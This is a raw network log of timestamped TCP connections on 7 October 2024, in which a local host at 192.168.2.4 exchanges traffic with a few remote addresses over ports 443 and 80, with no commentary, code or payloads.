Oct 7, 2024 03:23:28.749938011 CEST	61095	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:28.749972105 CEST	443	61095	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:29.183494091 CEST	443	49886	142.250.184.228	192.168.2.4
Oct 7, 2024 03:23:29.183634043 CEST	443	49886	142.250.184.228	192.168.2.4
Oct 7, 2024 03:23:29.183757067 CEST	49886	443	192.168.2.4	142.250.184.228
Oct 7, 2024 03:23:29.316284895 CEST	443	61091	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:29.322756052 CEST	61091	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:29.322833061 CEST	443	61091	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:29.323470116 CEST	61091	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:29.323491096 CEST	443	61091	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:29.328419924 CEST	443	61092	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:29.329081059 CEST	61092	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:29.329149961 CEST	443	61092	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:29.329533100 CEST	61092	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:29.329547882 CEST	443	61092	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:29.354454041 CEST	443	61094	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:29.357254982 CEST	61094	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:29.357335091 CEST	443	61094	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:29.362751961 CEST	61094	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:29.362766981 CEST	443	61094	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:29.379450083 CEST	443	61093	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:29.383343935 CEST	61093	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:29.383378983 CEST	443	61093	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:29.389117956 CEST	61093	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:29.389130116 CEST	443	61093	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:29.406054020 CEST	61077	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:29.411328077 CEST	80	61077	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:29.411748886 CEST	61077	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:29.411870956 CEST	61096	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:29.416716099 CEST	80	61096	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:29.418339014 CEST	61096	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:29.422569990 CEST	61096	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:29.427361012 CEST	80	61096	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:29.428786993 CEST	443	61095	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:29.428896904 CEST	443	61092	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:29.429076910 CEST	443	61092	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:29.429148912 CEST	61092	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:29.431060076 CEST	61095	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:29.431071997 CEST	443	61091	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:29.431107998 CEST	443	61095	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:29.431967974 CEST	443	61091	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:29.432092905 CEST	443	61091	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:29.432148933 CEST	61091	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:29.439297915 CEST	61095	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:29.439310074 CEST	443	61095	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:29.440363884 CEST	61092	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:29.440363884 CEST	61092	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:29.440392971 CEST	443	61092	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:29.440416098 CEST	443	61092	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:29.450923920 CEST	61091	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:29.450948954 CEST	443	61091	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:29.458092928 CEST	443	61094	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:29.458230972 CEST	443	61094	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:29.458429098 CEST	61094	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:29.458517075 CEST	61094	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:29.458547115 CEST	443	61094	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:29.458574057 CEST	61094	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:29.458587885 CEST	443	61094	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:29.460148096 CEST	61097	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:29.460170031 CEST	443	61097	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:29.460216999 CEST	61097	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:29.460360050 CEST	61097	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:29.460367918 CEST	443	61097	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:29.461430073 CEST	61098	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:29.461436987 CEST	443	61098	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:29.461500883 CEST	61098	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:29.461623907 CEST	61098	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:29.461635113 CEST	443	61098	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:29.461672068 CEST	61099	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:29.461713076 CEST	443	61099	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:29.461764097 CEST	61099	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:29.461842060 CEST	61099	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:29.461849928 CEST	443	61099	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:29.489376068 CEST	443	61093	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:29.489447117 CEST	443	61093	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:29.489501953 CEST	61093	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:29.489521980 CEST	443	61093	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:29.489553928 CEST	443	61093	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:29.491739035 CEST	61093	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:29.493516922 CEST	61093	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:29.493518114 CEST	61093	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:29.493535042 CEST	443	61093	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:29.493556023 CEST	443	61093	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:29.496212959 CEST	61100	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:29.496270895 CEST	443	61100	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:29.496400118 CEST	61100	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:29.496526003 CEST	61100	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:29.496555090 CEST	443	61100	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:29.539652109 CEST	443	61095	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:29.539859056 CEST	443	61095	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:29.539930105 CEST	61095	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:29.540023088 CEST	61095	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:29.540045023 CEST	443	61095	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:29.540091991 CEST	61095	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:29.540107012 CEST	443	61095	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:29.541816950 CEST	61101	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:29.541851044 CEST	443	61101	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:29.541908026 CEST	61101	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:29.542195082 CEST	61101	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:29.542212963 CEST	443	61101	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.097688913 CEST	443	61097	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.098262072 CEST	61097	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.098268986 CEST	443	61097	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.098875999 CEST	61097	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.098880053 CEST	443	61097	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.115160942 CEST	80	61096	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:30.115223885 CEST	61096	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:30.116416931 CEST	443	61099	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.116765022 CEST	61099	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.116791010 CEST	443	61099	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.117181063 CEST	61099	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.117188931 CEST	443	61099	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.132579088 CEST	443	61098	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.132863998 CEST	61098	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.132869959 CEST	443	61098	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.133308887 CEST	61098	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.133311987 CEST	443	61098	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.151350975 CEST	443	61100	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.152252913 CEST	61100	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.152276993 CEST	443	61100	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.152750969 CEST	61100	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.152762890 CEST	443	61100	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.181690931 CEST	443	61101	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.182950020 CEST	61101	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.182970047 CEST	443	61101	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.183485031 CEST	61101	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.183491945 CEST	443	61101	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.196329117 CEST	443	61097	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.196336031 CEST	49886	443	192.168.2.4	142.250.184.228
Oct 7, 2024 03:23:30.196368933 CEST	443	49886	142.250.184.228	192.168.2.4
Oct 7, 2024 03:23:30.196458101 CEST	443	61097	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.196563959 CEST	443	61097	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.196609020 CEST	61097	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.196646929 CEST	61097	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.196702003 CEST	61097	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.196713924 CEST	443	61097	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.196722031 CEST	61097	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.196727991 CEST	443	61097	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.202222109 CEST	61103	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.202269077 CEST	443	61103	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.202413082 CEST	61103	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.202673912 CEST	61103	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.202699900 CEST	443	61103	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.216089964 CEST	443	61099	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.216372967 CEST	443	61099	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.216434002 CEST	61099	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.221857071 CEST	61099	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.221868992 CEST	443	61099	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.221880913 CEST	61099	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.221885920 CEST	443	61099	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.225899935 CEST	61104	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.225943089 CEST	443	61104	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.226346016 CEST	61104	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.229259014 CEST	61104	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.229288101 CEST	443	61104	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.234303951 CEST	443	61098	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.234456062 CEST	443	61098	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.234527111 CEST	61098	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.235032082 CEST	61098	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.235037088 CEST	443	61098	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.235044956 CEST	61098	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.235049009 CEST	443	61098	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.241705894 CEST	61105	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.241771936 CEST	443	61105	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.242126942 CEST	61105	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.242422104 CEST	61105	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.242455006 CEST	443	61105	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.251221895 CEST	443	61100	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.251287937 CEST	443	61100	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.251343966 CEST	61100	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.251363039 CEST	443	61100	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.251420975 CEST	443	61100	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.251472950 CEST	61100	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.251533031 CEST	61100	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.251554966 CEST	443	61100	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.251580000 CEST	61100	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.251593113 CEST	443	61100	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.253513098 CEST	61106	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.253535032 CEST	443	61106	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.253616095 CEST	61106	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.253741026 CEST	61106	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.253766060 CEST	443	61106	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.279016972 CEST	443	61101	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.279160023 CEST	443	61101	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.279222965 CEST	61101	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.280375004 CEST	61101	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.280394077 CEST	443	61101	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.280401945 CEST	61101	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.280409098 CEST	443	61101	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.283159018 CEST	61107	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.283196926 CEST	443	61107	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.283284903 CEST	61107	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.283727884 CEST	61107	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.283756018 CEST	443	61107	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.841511011 CEST	443	61103	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.842000008 CEST	61103	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.842061043 CEST	443	61103	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.842421055 CEST	61103	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.842434883 CEST	443	61103	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.906265020 CEST	443	61106	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.906378984 CEST	443	61104	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.906928062 CEST	61106	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.906971931 CEST	443	61106	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.907315969 CEST	61106	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.907326937 CEST	443	61106	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.907883883 CEST	61104	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.907924891 CEST	443	61104	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.908205032 CEST	61104	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.908216000 CEST	443	61104	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.918432951 CEST	443	61105	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.918698072 CEST	61105	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.918713093 CEST	443	61105	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.919013977 CEST	61105	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.919023991 CEST	443	61105	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.938870907 CEST	443	61103	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.939043999 CEST	443	61103	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.939145088 CEST	443	61103	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.939156055 CEST	61103	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.939378977 CEST	61103	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.939449072 CEST	61103	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.939449072 CEST	61103	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.939486027 CEST	443	61103	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.939508915 CEST	443	61103	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.941734076 CEST	61108	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.941782951 CEST	443	61108	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.941870928 CEST	61108	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.941971064 CEST	61108	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.941981077 CEST	443	61108	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.949851036 CEST	443	61107	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.950139999 CEST	61107	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.950186014 CEST	443	61107	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:30.950458050 CEST	61107	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:30.950468063 CEST	443	61107	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.005544901 CEST	443	61106	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.005641937 CEST	443	61106	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.005744934 CEST	443	61106	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.005875111 CEST	61106	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.005925894 CEST	61106	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.005959034 CEST	443	61106	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.005985022 CEST	61106	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.006000042 CEST	443	61106	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.007898092 CEST	61109	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.007931948 CEST	443	61109	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.009995937 CEST	61109	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.010143995 CEST	61109	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.010159969 CEST	443	61109	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.011049032 CEST	443	61104	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.011209011 CEST	443	61104	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.011406898 CEST	61104	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.011406898 CEST	61104	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.011466026 CEST	61104	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.011492968 CEST	443	61104	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.013098955 CEST	61110	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.013108969 CEST	443	61110	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.013183117 CEST	61110	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.013283014 CEST	61110	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.013294935 CEST	443	61110	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.022905111 CEST	443	61105	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.023605108 CEST	443	61105	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.027401924 CEST	61105	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.027441025 CEST	61105	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.027441025 CEST	61105	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.027458906 CEST	443	61105	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.027479887 CEST	443	61105	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.029083014 CEST	61111	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.029110909 CEST	443	61111	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.029531002 CEST	61111	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.029629946 CEST	61111	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.029640913 CEST	443	61111	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.052701950 CEST	443	61107	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.052850962 CEST	443	61107	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.052951097 CEST	61107	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.052987099 CEST	61107	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.052987099 CEST	61107	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.053002119 CEST	443	61107	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.053021908 CEST	443	61107	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.054630995 CEST	61112	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.054653883 CEST	443	61112	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.054760933 CEST	61112	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.054883003 CEST	61112	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.054894924 CEST	443	61112	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.578489065 CEST	443	61108	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.579323053 CEST	61108	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.579334974 CEST	443	61108	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.579722881 CEST	61108	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.579726934 CEST	443	61108	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.635102034 CEST	61096	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:31.635406017 CEST	61114	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:31.640312910 CEST	80	61096	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:31.640325069 CEST	80	61114	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:31.640388966 CEST	61096	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:31.640422106 CEST	61114	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:31.645096064 CEST	61114	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:31.649923086 CEST	80	61114	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:31.655749083 CEST	443	61109	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.656352997 CEST	61109	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.656372070 CEST	443	61109	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.657311916 CEST	61109	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.657316923 CEST	443	61109	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.668008089 CEST	443	61111	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.673670053 CEST	443	61110	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.677577972 CEST	443	61108	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.677746058 CEST	443	61108	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.677939892 CEST	61108	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.694350004 CEST	443	61112	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.718424082 CEST	61112	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.718441010 CEST	443	61112	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.718832016 CEST	61112	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.718838930 CEST	443	61112	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.719067097 CEST	61111	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.719099998 CEST	443	61111	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.719134092 CEST	61110	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.719674110 CEST	61111	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.719696045 CEST	443	61111	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.720223904 CEST	61110	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.720232010 CEST	443	61110	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.720819950 CEST	61110	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.720824957 CEST	443	61110	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.721229076 CEST	61108	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.721246958 CEST	443	61108	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.721262932 CEST	61108	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.721267939 CEST	443	61108	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.725833893 CEST	61115	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.725867987 CEST	443	61115	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.725943089 CEST	61115	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.726181030 CEST	61115	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.726191044 CEST	443	61115	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.754889011 CEST	443	61109	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.754952908 CEST	443	61109	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.755003929 CEST	61109	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:31.755017996 CEST	443	61109	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.755057096 CEST	443	61109	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:31.755098104 CEST	61109	443	192.168.2.4	13.107.246.45
